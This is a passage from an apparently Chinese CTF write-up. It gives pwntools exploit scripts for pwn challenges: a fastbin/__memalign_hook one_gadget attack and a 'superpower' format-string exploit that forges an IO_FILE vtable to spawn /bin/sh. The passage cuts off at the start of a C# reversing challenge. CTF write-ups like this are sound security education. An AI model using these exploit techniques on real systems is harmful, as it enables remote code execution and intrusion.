&lt;&#x2F;span&gt;&lt;span&gt;    add(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x60&lt;&#x2F;span&gt;&lt;span&gt;,flat(libc.sym[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;__memalign_hook&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;19&lt;&#x2F;span&gt;&lt;span&gt;)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 10
&lt;&#x2F;span&gt;&lt;span&gt;    add(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x60&lt;&#x2F;span&gt;&lt;span&gt;,flat(libc.sym[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;__memalign_hook&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;19&lt;&#x2F;span&gt;&lt;span&gt;)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 11
&lt;&#x2F;span&gt;&lt;span&gt;    add(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x60&lt;&#x2F;span&gt;&lt;span&gt;,flat(libc.sym[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;__memalign_hook&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;19&lt;&#x2F;span&gt;&lt;span&gt;)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 12
&lt;&#x2F;span&gt;&lt;span&gt;    add(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x60&lt;&#x2F;span&gt;&lt;span&gt;,flat(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,libc_base&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xf1207&lt;&#x2F;span&gt;&lt;span&gt;,libc.sym[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;realloc&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 13
&lt;&#x2F;span&gt;&lt;span&gt;    p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Your choice : &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;1&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    p.sendline(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;cat flag&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;__name__ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;__main__&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    main()
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# Nep{4767c24e-5bf6-4953-bd9a-38533ef2fd84}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;pwn-superpower&quot;&gt;[pwn] superpower&lt;&#x2F;h1&gt;
&lt;p&gt;程序先读入并输出指定文件的内容，然后一个格式化字符串漏洞。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;nepctf-wp&#x2F;.&#x2F;superpower.png&quot; alt=&quot;superpower&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;思路：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;读取&lt;code&gt;&#x2F;proc&#x2F;self&#x2F;maps&lt;&#x2F;code&gt;泄露堆地址和libc地址&lt;&#x2F;li&gt;
&lt;li&gt;然后通过格式化字符串漏洞，一次性修改三个地址。1：在&lt;code&gt;bss&lt;&#x2F;code&gt;段伪造&lt;code&gt;IO_jump_t&lt;&#x2F;code&gt;的&lt;code&gt;close&lt;&#x2F;code&gt;指针，2：将堆中的&lt;code&gt;IO_FILE&lt;&#x2F;code&gt;的&lt;code&gt;vtable&lt;&#x2F;code&gt;指向伪造的&lt;code&gt;IO_jump_t&lt;&#x2F;code&gt;，3：将堆中的&lt;code&gt;IO_FILE&lt;&#x2F;code&gt;的头部覆盖为&lt;code&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;然后通过&lt;code&gt;fclose&lt;&#x2F;code&gt;即可&lt;code&gt;getshell&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;typing &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;Union
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;LibcSearcher &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;IdaManage &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.rop &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.util.packing &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;flat
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.context &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;context.log_level&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;debug&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;True
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;@connect(
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;remoteAddr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;node2.hackingfor.fun:32274&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;elf&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;.&#x2F;superpower&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;isRemote&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;idaAddr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;192.168.138.1:9945&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;: Union[remote, process], &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;ida&lt;&#x2F;span&gt;&lt;span&gt;: IDAManage, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;elf&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;ELF&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;filename:&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&#x2F;proc&#x2F;self&#x2F;maps&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    heap_address&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(p.recvline_contains(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;heap&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)[:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;],&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        libc&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;LibcSearcher().prefer(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;2.23-0ubuntu11.2_i386&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;).elf()
&lt;&#x2F;span&gt;&lt;span&gt;        libc.address&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(p.recvline_contains(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;libc&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)[:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;],&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        libc&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;p.libc
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;totalLen&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;offset&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;27&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        writeList&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[]
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;content,addr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;a:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;isinstance&lt;&#x2F;span&gt;&lt;span&gt;(content , &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;                content&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;flat(content)
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i,c &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;enumerate&lt;&#x2F;span&gt;&lt;span&gt;(content):
&lt;&#x2F;span&gt;&lt;span&gt;                writeList.append((c,addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;i))
&lt;&#x2F;span&gt;&lt;span&gt;        writeList.sort(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;key&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;lambda &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span&gt;:x[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;])
&lt;&#x2F;span&gt;&lt;span&gt;        last&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0
&lt;&#x2F;span&gt;&lt;span&gt;        i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0
&lt;&#x2F;span&gt;&lt;span&gt;        r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;c,a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;writeList:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;c&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;last&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;                r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;%%%d&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;$hhn&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span&gt;(totalLen&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(writeList)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;offset&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;i)
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;                r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;%%%d&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;c&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;%%%d&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;$hhn&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span&gt;(c&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;last,totalLen&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(writeList)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;offset&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;i)
&lt;&#x2F;span&gt;&lt;span&gt;            last&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;c
&lt;&#x2F;span&gt;&lt;span&gt;            i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;flat({&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;:r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,totalLen&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(writeList)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;:[i[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;writeList]})
&lt;&#x2F;span&gt;&lt;span&gt;    sleep(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;name?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,write([
&lt;&#x2F;span&gt;&lt;span&gt;        (libc.sym[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;system&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;],elf.bss()),
&lt;&#x2F;span&gt;&lt;span&gt;        (elf.bss()&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x44&lt;&#x2F;span&gt;&lt;span&gt;,heap_address&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x9C&lt;&#x2F;span&gt;&lt;span&gt;),
&lt;&#x2F;span&gt;&lt;span&gt;        (&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&#x2F;bin&#x2F;sh&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,heap_address&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x8&lt;&#x2F;span&gt;&lt;span&gt;),
&lt;&#x2F;span&gt;&lt;span&gt;        ],&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x100&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;__name__ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;__main__&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    main()
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# Nep{1ac76172-0318-4b1e-a71a-cb3d00d08c84}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;re-hardcsharp&quot;&gt;[re] hardcsharp&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;code&gt;ILSpy&lt;&#x2F;code&gt;一把梭，AES后base64。原程序为&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c#&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-c# &quot;&gt;&lt;code class=&quot;language-c#&quot; data-lang=&quot;c#&quot;&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; hardcsharp.Program
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;using &lt;&#x2F;span&gt;&lt;span&gt;System;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;using &lt;&#x2F;span&gt;&lt;span&gt;hardcsharp;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;internal &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;class &lt;&#x2F;span&gt;&lt;span style=&quot;text-decoration:underline;color:#ffc66d;&quot;&gt;Program
&lt;&#x2F;span&gt;&lt;span&gt;{
